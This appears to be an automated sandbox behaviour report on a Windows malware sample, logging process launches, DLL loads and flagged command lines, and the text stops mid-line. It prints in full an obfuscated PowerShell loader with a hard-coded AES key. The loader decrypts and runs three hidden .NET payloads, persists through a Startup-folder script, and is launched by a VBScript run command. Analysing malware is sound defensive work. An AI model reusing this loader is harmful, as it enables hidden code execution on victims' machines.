Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\bxtzrdixjge"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pstorec.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pstorec.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("cmd.exe /c C:\Users\user\AppData\Roaming\dropped.bat", "0", "false");

Suspicious command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = 